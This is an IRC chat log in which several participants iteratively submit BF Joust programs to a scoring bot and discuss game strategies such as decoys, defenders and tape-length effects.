[-] afterwards 00:40:02 !bfjoust lols (->[+])*20 00:40:04 Score for leonid__lols: 24.0 00:40:05 so it does better against the defence programs 00:40:09 ais523: well, the basic strategy is very simple 00:40:12 I thought it up independently 00:40:15 yes 00:40:19 * ehird gets idea 00:40:23 well, an old one 00:40:24 just interesting that yours does very well, and mine did terribly 00:40:24 but it might work 00:40:28 despite them working much the same way 00:40:34 11 | + - 0 + 0 - + + + + + - 0 0 + 0 + 0 - - | 52.6 | 4 | ehird_i_keelst_thou.bfjoust 00:40:35 for reference 00:40:47 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-[++[---[++++[-----]]]]]>)*21 00:40:47 !bfjoust lols (->[+][+])*20 00:40:50 Score for leonid__lols: 18.2 00:40:51 Score for ehird_i_keelst_thou: 48.5 00:40:56 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-[++[---[++++]]]]>)*21 00:40:58 Score for ehird_i_keelst_thou: 17.1 00:41:02 !bfjoust lols (->[+-+])*20 00:41:05 Score for leonid__lols: 13.6 00:41:06 WOW 00:41:07 17.1? 00:41:09 That's low. 00:41:10 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-[++[---]]]>)*21 00:41:13 Score for ehird_i_keelst_thou: 48.9 00:41:16 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-[++]]>)*21 00:41:18 Score for ehird_i_keelst_thou: 31.4 00:41:22 Okay, this is a failed strategery. 00:41:28 !bfjoust what >+[>[(-)*128]>+] 00:41:31 Score for lament_what: 22.2 00:41:37 ehird: it no longer beats the vibrators 00:41:39 if you do it like that 00:41:42 I think 00:41:42 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]->(-)*128[-]+>)*21 00:41:45 Score for ehird_i_keelst_thou: 58.5 00:41:50 YAY 00:41:55 Setting up a bunch of decoys worked. :) 00:41:57 !bfjoust what >+[>[(-)*128]>++] 00:42:00 Score for lament_what: 25.1 00:42:01 ehird: it usually does 00:42:03 !bfjoust what >+[>[(-)*128]>+++] 00:42:05 decoys > no decoys 00:42:06 Score for lament_what: 20.7 00:42:11 even though everything has anti-decoy tricks nowadays 00:42:14 !bfjoust lols (-->[+])*20 00:42:17 Score for leonid__lols: 10.8 00:42:23 decoys are slow to set up 00:42:26 !bfjoust lols (+>[+])*20 00:42:29 Score for leonid__lols: 22.9 00:42:43 lament: one cycle 00:42:45 for me 00:42:45 !bfjoust lols (+>[+].)*20 00:42:47 alternate + and - 00:42:48 Score for leonid__lols: 16.1 00:42:57 lament: not ridiculously slow 00:43:03 and they slow the opponent down more 00:43:06 what does - do on an empty tape? 00:43:13 lament: - on 0 changes it to 255 00:43:15 lament: empty cell. 255 00:43:17 oh 00:43:17 current i_keelst_thou: 5 losses, 3 draws, 12 wins 00:43:22 !bfjoust what >+[>[(-)*128]>-] 00:43:25 Score for lament_what: 19.9 00:43:32 heh 00:43:35 !bfjoust what >+[>[(-)*128]>+] 00:43:36 I do badly w/ impomatics' programs 00:43:37 I wonder why? 00:43:38 Score for lament_what: 20.4 00:43:41 * lament confused 00:43:43 I don't think I beat any of his 00:43:52 why does my program with + beat my program with - ? 00:44:08 lament: random tape length 00:44:12 the change is small enough to be irrelevant 00:44:16 myyyyy interp will fix that :p:p:p 00:44:17 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:44:19 Score for ehird_i_keelst_thou: 58.9 00:44:21 oh 00:44:24 !bfjoust mad_changer5 >+>->+>->+<<<(+)*200000 00:44:27 !bfjoust what >+[>[(-)*128]>-] 00:44:27 Score for AnMaster_mad_changer5: 19.8 00:44:29 tiny increase, so I'll leave it 00:44:30 Score for lament_what: 21.8 00:44:32 !bfjoust mad_changer5 >+>->+>->+<<<(+-+)*200000 00:44:35 Score for AnMaster_mad_changer5: 20.8 00:44:35 ais523: i'm third! 00:44:39 !bfjoust mad_changer5 >+>->+>->+<<<(+-++)*200000 00:44:43 Score for AnMaster_mad_changer5: 29.6 00:44:48 guys, i made some butter. o.o 00:44:49 ehird: well done 00:44:50 !bfjoust lols (+>[-])*20 00:44:51 from scratch. 00:44:53 Score for leonid__lols: 20.4 00:44:56 00:43 ehird: current i_keelst_thou: 5 losses, 3 draws, 12 wins ← this is 4 draws now 00:45:01 but it does much the same 00:45:09 !bfjoust mad_changer5 >+>->+>>->+<<<<(+-++)*200000 00:45:10 I lose against slow rush 00:45:12 wonder if I can fix that 00:45:12 Score for AnMaster_mad_changer5: 25.3 00:45:15 !bfjoust mad_changer5 >+>->+>->+<<<(+-++)*200000 00:45:17 Score for AnMaster_mad_changer5: 29.7 00:45:23 good enough for me 00:45:24 now* 00:45:28 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(+)*128[+]->)*21 00:45:31 Score for ehird_i_keelst_thou: 36.6 00:45:36 !bfjoust lols (+>[-])*30 00:45:39 Score for leonid__lols: 27.6 00:45:40 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[+]+>(+)*128[-]->)*21 00:45:42 Score for ehird_i_keelst_thou: 13.5 00:45:43 !bfjoust lols (+>[+])*30 00:45:46 Score for leonid__lols: 12.5 00:45:49 !bfjoust lols (->[+])*30 00:45:49 ouch 00:45:50 * ehird reverts 00:45:51 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:45:51 Score for leonid__lols: 21.7 00:45:54 the programs that do well against vff are nested-loop programs and no-loop programs 00:45:54 Score for ehird_i_keelst_thou: 58.2 00:45:54 AnMaster: i don't get it, how does that kill anything? 00:46:04 lament, it doesn't 00:46:07 lament: tricking them off the end of the tape 00:46:11 lament, it is a pure defender 00:46:18 !bfjoust lols (>)*9(->[+])*19 00:46:19 ohh 00:46:21 Score for leonid__lols: 32.7 00:46:22 ais523: I have 6 draws now. 00:46:25 !bfjoust lols (>)*9(+>[+])*19 00:46:25 that's increasing worryingly 00:46:28 Score for leonid__lols: 29.8 00:46:31 !bfjoust lols (>)*9(+>[-])*19 00:46:33 Score for leonid__lols: 36.7 00:46:33 only 4 losses though 00:46:35 which is nice 00:46:38 !bfjoust no_decoy - 00:46:39 !bfjoust lols (>)*9(->[-])*19 00:46:41 Score for AnMaster_no_decoy: 20.4 00:46:41 aaaaaaaaaaaa 00:46:42 Score for leonid__lols: 33.4 00:46:43 rushpolarity beat me 00:46:45 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:46:46 !bfjoust lols (>)*9(+>[-])*21 00:46:47 nice 00:46:48 Score for ehird_i_keelst_thou: 56.6 00:46:49 Score for leonid__lols: 39.3 00:46:53 AnMaster: I find that pure defence can often be improved by putting an attack strategy there after it 00:46:54 !bfjoust lols (>)*9(+>[-])*30 00:46:56 !bfjoust no_decoy + 00:46:56 Score for leonid__lols: 27.2 00:46:58 Score for AnMaster_no_decoy: 16.2 00:47:00 !bfjoust lols (>)*9(+>[-])*22 00:47:02 Score for leonid__lols: 26.2 00:47:04 !bfjoust no_decoy . 00:47:07 !bfjoust lols (>)*9(+>[-])*20 00:47:07 Score for AnMaster_no_decoy: 17.8 00:47:08 that's designed to work against tripwire defenders and other programs likely to be slow 00:47:08 !bfjoust no_decoy > 00:47:09 Score for leonid__lols: 49.0 00:47:11 Score for AnMaster_no_decoy: 16.3 00:47:12 -!- psygnisfive has joined. 00:47:12 whoa 00:47:12 !bfjoust no_decoy - 00:47:15 Score for AnMaster_no_decoy: 19.8 00:47:18 !bfjoust lols (>)*9(+>[-])*20 00:47:18 !bfjoust i_keelst_thou -----(>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:47:20 Score for leonid__lols: 47.6 00:47:21 -!- psygnisf_ has quit (Read error: 104 (Connection reset by peer)). 00:47:22 Score for ehird_i_keelst_thou: 36.7 00:47:23 !bfjoust i_keelst_thou +++++(>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:47:26 Score for ehird_i_keelst_thou: 30.7 00:47:27 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:47:30 Score for ehird_i_keelst_thou: 56.3 00:47:39 !bfjoust lols (>)*9(++>[-])*20 00:47:42 ehird: I've suddenly realised how well i_keelst_though would do against all the defend6-alikes 00:47:44 Score for leonid__lols: 12.3 00:47:48 ais523, maybe. But it is too long then 00:47:49 ais523: yeah 00:47:51 it completely breaks the assumptions they make 00:47:51 !bfjoust lols (-)*64(>)*9(+>[-])*20 00:47:52 DOESNT ANYONE WANT SOME OF MY HOMEMADE BUTTER?! 00:47:52 :| 00:47:54 Score for leonid__lols: 19.5 00:47:54 ais523: it barely even looks at you 00:47:57 psygnisfive: yes please 00:47:58 mail it to uk 00:48:03 right on it! 00:48:03 ais523: that's basically the idea 00:48:06 !bfjoust lols (>)*9(+>[+])*20 00:48:08 Score for leonid__lols: 30.8 00:48:10 ais523: don't rely on anything the opponent can manipulate unless you really have to 00:48:17 !bfjoust lols (>)*9(+>[-+-])*20 00:48:20 Score for leonid__lols: 52.4 00:48:21 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[---]+>(-)*128[+++]->)*21 00:48:24 Score for ehird_i_keelst_thou: 56.2 00:48:24 !bfjoust lols (>)*9(+>[-+-+-])*20 00:48:27 Score for leonid__lols: 38.5 00:48:28 ehird: all defence programs rely on things the opponent can manipulate... 00:48:33 !bfjoust lols (>)*9(+>[-+])*20 00:48:42 ais523: what I meant, was 00:48:42 Score for leonid__lols: 13.9 00:48:43 still, I love the way I'm second with a program that deliberately zeros its own flag 00:48:53 ais523: don't listen to what you're opponent's telling you. because they'll wind you up 00:48:58 !bfjoust lols (>)*9(+>[(-+)*10-])*20 00:49:01 Score for leonid__lols: 46.5 00:49:06 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[---]+>(-)*128[+++]->)*21 00:49:08 !bfjoust lols (>)*9(+>[(-+)*4-])*20 00:49:09 Score for ehird_i_keelst_thou: 61.5 00:49:10 Score for leonid__lols: 26.5 00:49:13 (just seeing if i'm getting sample variance here) 00:49:13 whoa 00:49:14 >60! 00:49:17 !bfjoust lols (>)*9(+>[-+-])*21 00:49:20 Score for leonid__lols: 43.2 00:49:21 Wouldn't a looping memory tape be more fun? 00:49:22 !bfjoust lols (>)*9(+>[-+-])*20 00:49:24 !bfjoust i_keelst_thou (+>->)*4((-)*128[---]+>(-)*128[+++]->)*21 00:49:25 Score for leonid__lols: 50.4 00:49:27 Score for ehird_i_keelst_thou: 50.1 00:49:28 lament: no 00:49:29 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[---]+>(-)*128[+++]->)*21 00:49:29 50 o_O 00:49:31 Score for ehird_i_keelst_thou: 56.2 00:49:32 lament: No, you could just do <[-] 00:49:36 tricking opponents off the end is the whole point 00:49:36 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[---]+>(-)*128[+++]->)*21 00:49:39 as is hiding your flag 00:49:39 Score for ehird_i_keelst_thou: 56.2 00:49:46 hmm I dropped a bit. 00:49:51 11 | + + - + - + + + + + + - + - + - - - - | 56.2 | 3 | ehird_i_keelst_thou.bfjoust 00:49:52 ais523: but this way, the optimal program relies too much on the fact that the field is between 10 and 30 cells. Change the limits, and a different program will be optimal. 00:49:53 No draws. 00:49:54 WTF? 00:50:06 ais523: that's not pretty! 00:50:08 lament: the limits were chosen to make the game interesting, though 00:50:17 they used to just be "random very large number" 00:50:20 !bfjoust lols +(>)*9(+>[-+-])*20 00:50:23 Score for leonid__lols: 52.1 00:50:26 8 losses, 11 wins 00:50:27 but that made decoys an overwhelmingly good strategy 00:50:28 i'm doing okay 00:50:28 !bfjoust lols (>)*9(+>[-+-])*20 00:50:31 Score for leonid__lols: 50.4 00:50:34 keeping them small makes decoys more dangerous 00:50:36 !bfjoust lols ++(>)*9(+>[-+-])*20 00:50:39 Score for leonid__lols: 41.0 00:50:44 !bfjoust lols +(>)*10(+>[-+-])*20 00:50:46 Score for leonid__lols: 46.5 00:50:53 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[+++]->)*21 00:50:54 !bfjoust lols +(>)*9(+>[--++-])*20 00:50:55 Score for ehird_i_keelst_thou: 44.6 00:50:56 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[---]+>(-)*128[+++]->)*21 00:50:57 Score for leonid__lols: 25.2 00:50:59 Score for ehird_i_keelst_thou: 58.2 00:51:05 ais523: i think my strategy is nearing its optimum 00:51:07 !bfjoust lols +(>)*9(+>[---])*20 00:51:10 Score for leonid__lols: 29.6 00:51:13 !bfjoust i_keelst_thou (>++>--)*4>((-)*128[---]+>(-)*128[+++]->)*21 00:51:16 Score for ehird_i_keelst_thou: 46.3 00:51:17 !bfjoust lols +(>)*9(+>[--])*20 00:51:19 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[---]+>(-)*128[+++]->)*21 00:51:20 Score for leonid__lols: 32.9 00:51:22 Score for ehird_i_keelst_thou: 62.0 00:51:27 !bfjoust lols +(>)*9(+>[-+-])*25 00:51:30 Score for leonid__lols: 42.7 00:51:33 ehird: yep, it's creeping up on vff 00:51:38 !bfjoust lols +(>)*11(+>[-+-])*18 00:51:41 Score for leonid__lols: 39.3 00:51:50 !bfjoust lols +(>)*9(+>[-+-])*20 00:51:53 Score for leonid__lols: 52.1 00:51:53 ais523: WTF? it doesn't beat you 00:51:55 ais523: it used to beat you 00:52:06 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:52:09 Score for ehird_i_keelst_thou: 60.2 00:52:09 no draws 00:52:16 !bfjoust lols +(>)*9(+>[-+-])*20 00:52:18 10 | + + + 0 - + + + + + - + - + - - - + + | 63.2 | 6 | ais523_vibration_fool_faster.bfjoust 00:52:18 Score for leonid__lols: 47.1 00:52:19 11 | 0 - 0 0 0 - + + + + + + + 0 + + + - - | 60.2 | 6 | ehird_i_keelst_thou.bfjoust 00:52:22 ais523: it beats vff. 00:52:24 :) 00:52:31 ehird: I'm not surprised 00:52:35 !bfjoust lols +(>)*9(+>[-])*20 00:52:37 Score for leonid__lols: 31.6 00:52:41 foes it beat slowrush? 00:52:43 !bfjoust lols +(>)*9(+>[(-+)*5-])*20 00:52:45 *does 00:52:46 Score for leonid__lols: 38.2 00:52:49 !bfjoust lols +(>)*9(+>[(-+)*50-])*20 00:52:52 Score for leonid__lols: 36.7 00:52:53 ais523: nope; I don't even know how slowrush works. 00:53:12 !bfjoust lols +(>)*8(+>[-+-])*20 00:53:14 Score for leonid__lols: 35.5 00:53:19 !bfjoust (-)*128(+-)*500000 00:53:20 !bfjoust lols +-+(>)*9(+>[-+-])*20 00:53:20 Use: !bfjoust 00:53:22 Score for leonid__lols: 50.4 00:53:27 !bfjoust dangle (-)*128(+-)*500000 00:53:27 !bfjoust lols +-+-+(>)*9(+>[-+-])*20 00:53:29 ais523: how does it work? 00:53:30 Score for leonid__lols: 43.5 00:53:31 Score for lament_dangle: 7.4 00:53:37 ehird: decoys and attack 00:53:37 !bfjoust lols (+-)*20+(>)*9(+>[-+-])*20 00:53:40 Score for leonid__lols: 45.7 00:53:40 the traditional way 00:53:43 only they're rather large decoys 00:53:45 !bfjoust lols (+-)*20(>)*9(+>[-+-])*20 00:53:46 !bfjoust dangle (-)*127(+-)*500000 00:53:47 Score for leonid__lols: 36.8 00:53:49 Score for lament_dangle: 30.2 00:53:49 and the attack has fallbacks to detect defenders 00:53:54 and re-attack them a different way 00:53:55 ais523: well, decoys don't bother mine, at worst it has to run a few loop iterations 00:53:57 !bfjoust dangle (-)*127(+-)*50000000 00:53:59 in the hope at least one of the attacks will work 00:54:00 Score for lament_dangle: 22.0 00:54:01 OH 00:54:02 I have an idea! 00:54:03 !bfjoust lols --+(>)*9(+>[-+-])*20 00:54:04 ehird: and decoys slow you down 00:54:05 Score for leonid__lols: 35.5 00:54:09 so it beats you by attacking faster 00:54:11 !bfjoust i_keelst_thou (>+>-)*4>([(-)*128[-]]+>[(-)*128[+]]->)*21 00:54:12 !bfjoust lols .(>)*9(+>[-+-])*20 00:54:14 Score for ehird_i_keelst_thou: 40.1 00:54:15 Score for leonid__lols: 21.9 00:54:17 WTF 00:54:21 ais523: why doesn't that work? 00:54:28 ais523: it should only run its attack if it's non-zero 00:54:30 !bfjoust lols +(>)*9(+>>[-+-])*10 00:54:32 which should speed it up an awful lot 00:54:33 Score for leonid__lols: 29.4 00:54:35 ehird: more loops mean it's more vulnerable to farmers 00:54:39 so you're getting locked in place more 00:54:47 ais523, famers? 00:54:49 !bfjoust dangle (-)*127[[+]+] 00:54:50 ais523: ah 00:54:52 Score for lament_dangle: 11.8 00:54:55 AnMaster: programs that garble the values near their own flag 00:54:58 like vff 00:54:59 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:55:00 ok, I have an idea 00:55:01 Score for ehird_i_keelst_thou: 58.5 00:55:02 !bfjoust lols +(>)*9(+>[-[+]])*20 00:55:05 Score for leonid__lols: 37.8 00:55:07 ais523, oh and like madchanger 00:55:10 yes 00:55:10 !bfjoust lols +(>)*9(+>[+[-]])*20 00:55:13 Score for leonid__lols: 33.3 00:55:26 !bfjoust lols +(>)*9(+++>[-[+-+]])*20 00:55:29 Score for leonid__lols: 57.5 00:55:32 whoa 00:55:38 !bfjoust i_keelst_thou (>+>-)*4>((-)*64[(-)*64[-]]+>(+)*64[(+)*64[+]]->)*21 00:55:41 Score for ehird_i_keelst_thou: 37.9 00:55:46 !bfjoust lols +(>)*9(+++>[-+-[+-+]])*20 00:55:46 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(+)*128[+]->)*21 00:55:49 Score for ehird_i_keelst_thou: 30.9 00:55:49 Score for leonid__lols: 41.1 00:55:53 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[-]->)*21 00:55:55 Score for ehird_i_keelst_thou: 55.1 00:55:56 !bfjoust lols +(>)*9(+>[-[+-+]])*20 00:55:59 Score for leonid__lols: 44.7 00:56:00 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:56:02 !bfjoust lols +(>)*9(+++++>[-+-[+-+]])*20 00:56:03 Score for ehird_i_keelst_thou: 54.6 00:56:05 Score for leonid__lols: 45.9 00:56:07 !bfjoust lols +(>)*9(++++>[-+-[+-+]])*20 00:56:10 Score for leonid__lols: 39.4 00:56:11 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[-]->)*21 00:56:13 Score for ehird_i_keelst_thou: 50.8 00:56:15 !bfjoust lols +(>)*9(++>[-+-[+-+]])*20 00:56:17 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[-]->)*21 00:56:18 Score for leonid__lols: 42.2 00:56:20 Score for ehird_i_keelst_thou: 50.9 00:56:20 !bfjoust lols +(>)*9(+++>[-+-[+-+]])*20 00:56:22 !bfjoust dangle (-)*127[-[+]] 00:56:23 Score for leonid__lols: 35.5 00:56:23 wtfff 00:56:26 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[-]->)*21 00:56:26 Score for lament_dangle: 13.2 00:56:29 Score for ehird_i_keelst_thou: 55.1 00:56:30 ais523: I hate the large sample variance. 00:56:30 !bfjoust lols +(>)*9(+++>[-[+-+]])*20 00:56:33 Score for leonid__lols: 57.4 00:56:36 !bfjoust lols +(>)*9(++>[-[+-+]])*20 00:56:37 yeah the sample variance is BS 00:56:38 WTF 00:56:39 Score for leonid__lols: 47.2 00:56:41 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:56:44 Score for ehird_i_keelst_thou: 54.8 00:56:44 I dropped waaaaaaay down 00:56:46 !bfjoust lols +(>)*9(++++>[-[+-+]])*20 00:56:48 Score for leonid__lols: 36.7 00:56:55 !bfjoust lols +-+(>)*9(+++>[-[+-+]])*20 00:56:56 ehird: you're writing a hill that fixes that, though, aren't you? 00:56:58 Score for leonid__lols: 42.0 00:57:02 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:57:02 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 00:57:03 ais523: yep 00:57:06 Score for ehird_i_keelst_thou: 54.3 00:57:06 Score for leonid__lols: 58.1 00:57:09 whoa 00:57:13 it should be done tomorrow; I stopped working on it to have fun here 00:57:24 !bfjoust lols -(>)*9(+++>[-[+-+-+]])*20 00:57:25 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:57:27 this one got ~60 00:57:27 Score for ehird_i_keelst_thou: 55.0 00:57:28 Score for leonid__lols: 36.5 00:57:31 meh 00:57:32 !bfjoust lols +(>)*9(+++>[-[+-+-+]])*20 00:57:34 guess the opponents are tougher these days 00:57:35 Score for leonid__lols: 44.9 00:57:39 !bfjoust lols +(>)*9(+++>[-+-[+-+-+]])*20 00:57:42 Score for leonid__lols: 44.9 00:57:45 !bfjoust lols +(>)*9(+++>[-+-+-[+-+-+]])*20 00:57:47 !bfjoust dangle < 00:57:47 how does lols work? 00:57:48 Score for leonid__lols: 31.4 00:57:50 Score for lament_dangle: 0.0 00:57:56 !bfjoust lols +(>)*9(+>[-[+-+-+]])*20 00:57:58 Score for leonid__lols: 42.7 00:58:02 !bfjoust lols -(>)*9(+>[-[+-+-+]])*20 00:58:05 Score for leonid__lols: 45.5 00:58:06 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[-]->)*21 00:58:06 ehird: a disruptive reducing loop 00:58:10 Score for ehird_i_keelst_thou: 48.4 00:58:10 so it's counter-disruption 00:58:12 ais523: eh? 00:58:13 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[-]->)*21 00:58:16 Score for ehird_i_keelst_thou: 48.4 00:58:17 !bfjoust lols -(>)*9(+++>[-[+-+-+-+]])*20 00:58:17 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:58:19 it's reducing the value in a non-monotonic way 00:58:22 Score for ehird_i_keelst_thou: 52.8 00:58:22 Score for leonid__lols: 55.7 00:58:24 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[+]+>(-)*128[+]->)*21 00:58:27 Score for ehird_i_keelst_thou: 40.1 00:58:29 so defence programs that rely on sensible ways to reduce the value get confused 00:58:31 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 00:58:32 !bfjoust lols -(>)*9(+++>[-[(+-)*10+]])*20 00:58:33 That is so illogical 00:58:33 Score for ehird_i_keelst_thou: 57.9 00:58:35 Score for leonid__lols: 32.9 00:58:36 -[-], but then -[+] 00:58:37 it'll beat defend6, for instance 00:58:39 consistently gets the best scores 00:58:41 but lose to pure attackers 00:58:41 how is that so, ais523? 00:58:41 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 00:58:44 Score for leonid__lols: 59.2 00:58:46 it makes no sense at all 00:58:53 ehird: because it's being slow 00:58:56 why does it get so high score 00:59:01 ais523: whatttt 00:59:02 so it beats things which expect it to attack quickly 00:59:06 which is most of the hill atm, I expect 00:59:22 !bfjoust lols -(>)*9(+++>[-[+-+]])*25 00:59:25 Score for leonid__lols: 42.2 00:59:28 !bfjoust lols -(>)*9(+++>[-[+-+]])*19 00:59:30 Score for leonid__lols: 33.6 00:59:31 ais523: ah, interesting 00:59:32 !bfjoust lols -(>)*9(+++>[-[+-+]])*21 00:59:35 Score for leonid__lols: 39.7 00:59:37 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 00:59:40 Score for leonid__lols: 59.2 00:59:41 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-](+)*10>(-)*128[+](-)*10>)*21 00:59:43 Score for ehird_i_keelst_thou: 29.1 00:59:45 leonid_: go back to the version which was third on the hill 00:59:45 darn 00:59:49 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-](+)*3>(-)*128[+](-)*3>)*21 00:59:50 and use a different name fo rthe others 00:59:52 Score for ehird_i_keelst_thou: 45.0 00:59:52 i went back 00:59:56 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-](+)*2>(-)*128[+](-)*2>)*21 00:59:58 Score for ehird_i_keelst_thou: 35.5 01:00:03 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 01:00:06 Score for ehird_i_keelst_thou: 52.5 01:00:07 so one is the sweet spot for decosy 01:00:09 decoys 01:00:10 i have no idea how my own code works 01:00:12 dumb 01:00:15 :( 01:00:17 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->(-)*128[+]>(-)*128[+]>)*21 01:00:19 Score for ehird_i_keelst_thou: 34.8 01:00:21 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 01:00:24 Score for ehird_i_keelst_thou: 52.5 01:00:27 ais523: heh, every change I make seems to worsen it 01:00:56 !bfjoust dangle (+)*384000 01:00:56 !bfjoust lols -(>)*9(+++>[-[+-+]])*22 01:00:56 ais523: do you think i _can_ improve the basic strategery? :-) 01:00:57 * ais523 wonders about evolutionary BF Joust 01:00:59 Score for leonid__lols: 43.8 01:00:59 Score for lament_dangle: 23.9 01:01:00 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:01:03 Score for leonid__lols: 60.0 01:01:06 60 01:01:07 !bfjoust i_keelst_thou (>+>->>)*2>((-)*128[-]+>(-)*128[+]->)*21 01:01:08 lol 01:01:08 ehird: I don't know, you might be at risk of overfitting 01:01:09 Score for ehird_i_keelst_thou: 43.6 01:01:20 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:01:23 Score for leonid__lols: 59.5 01:01:25 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 01:01:27 ;( 01:01:27 ais523: overfitting? 01:01:28 Score for ehird_i_keelst_thou: 54.5 01:01:38 ehird: it's what happens if you train a neural network too much 01:01:42 !bfjoust lols -(>)*9(++>[-[+-+]])*20 01:01:44 it ends up perfect at describing your test data 01:01:45 Score for leonid__lols: 45.2 01:01:47 and rubbish at anything else 01:01:48 !bfjoust lols -(>)*9(++++>[-[+-+]])*20 01:01:50 ais523: haha 01:01:51 Score for leonid__lols: 43.4 01:01:56 ais523, um why 01:01:59 ais523: how does that apply to this? 01:02:00 !bfjoust lols -(>)*9(+++>[---[+-+]])*20 01:02:03 Score for leonid__lols: 39.9 01:02:04 AnMaster: because only the test data gets reinforced 01:02:06 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:02:08 ah 01:02:08 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*20 01:02:09 ehird: a program that beats all the programs there on the hill, but nothing in general 01:02:09 Score for leonid__lols: 60.0 01:02:11 Score for ehird_i_keelst_thou: 35.8 01:02:13 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*22 01:02:16 Score for ehird_i_keelst_thou: 56.9 01:02:19 LOL 01:02:26 ais523: going one over the tape length sometimes improves me score. 01:02:28 *my score 01:02:30 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*22 01:02:33 Score for ehird_i_keelst_thou: 56.9 01:02:44 ... or actually worsens it 01:02:45 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 01:02:48 Score for ehird_i_keelst_thou: 54.5 01:02:49 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 01:02:50 !bfjoust lols -(>)*9(--->[-[+-+]])*20 01:02:52 Score for ehird_i_keelst_thou: 54.0 01:02:53 Score for leonid__lols: 36.6 01:02:54 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*21 01:02:57 Score for ehird_i_keelst_thou: 54.0 01:02:57 ehird: maybe it's to do with tape length latency? 01:02:58 !bfjoust lols -(>)*9(+++-+>[-[+-+]])*20 01:03:01 Score for leonid__lols: 44.9 01:03:01 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*22 01:03:04 Score for ehird_i_keelst_thou: 59.8 01:03:05 !bfjoust lols -(>)*9(++-++>[-[+-+]])*20 01:03:05 also, why don't you just remove the final > on the last iteration? 01:03:08 Score for leonid__lols: 34.3 01:03:17 !bfjoust lols +(>)*9(+++>[-[+-+]])*20 01:03:20 Score for leonid__lols: 56.5 01:03:22 !bfjoust i_keelst_thou (>+>-)*4(>(-)*128[-]+>(-)*128[+]-)*22 01:03:24 Score for ehird_i_keelst_thou: 49.2 01:03:25 !bfjoust lols +--(>)*9(+++>[-[+-+]])*20 01:03:28 Score for leonid__lols: 41.4 01:03:29 ais523: because that does worse 01:03:31 !bfjoust lols ++(>)*9(+++>[-[+-+]])*20 01:03:32 !bfjoust i_keelst_thou (>+>-)*4(>(-)*128[-]+>(-)*128[+]-)*21 01:03:34 Score for leonid__lols: 54.3 01:03:35 Score for ehird_i_keelst_thou: 44.9 01:03:36 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*22 01:03:36 wait, the number at the end shouldn't make a difference, if it's over 10 01:03:38 Score for ehird_i_keelst_thou: 59.3 01:03:41 !bfjoust lols -(>)*10(+++>[-[+-+]])*20 01:03:41 ais523: i know 01:03:42 because you have two >s in the repeated bit 01:03:43 what the _fuck_ 01:03:43 Score for leonid__lols: 37.7 01:03:47 !bfjoust lols -(>)*8(+++>[-[+-+]])*20 01:03:48 it must just be random tape length effects 01:03:50 Score for leonid__lols: 51.7 01:03:51 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*10 01:03:54 Score for 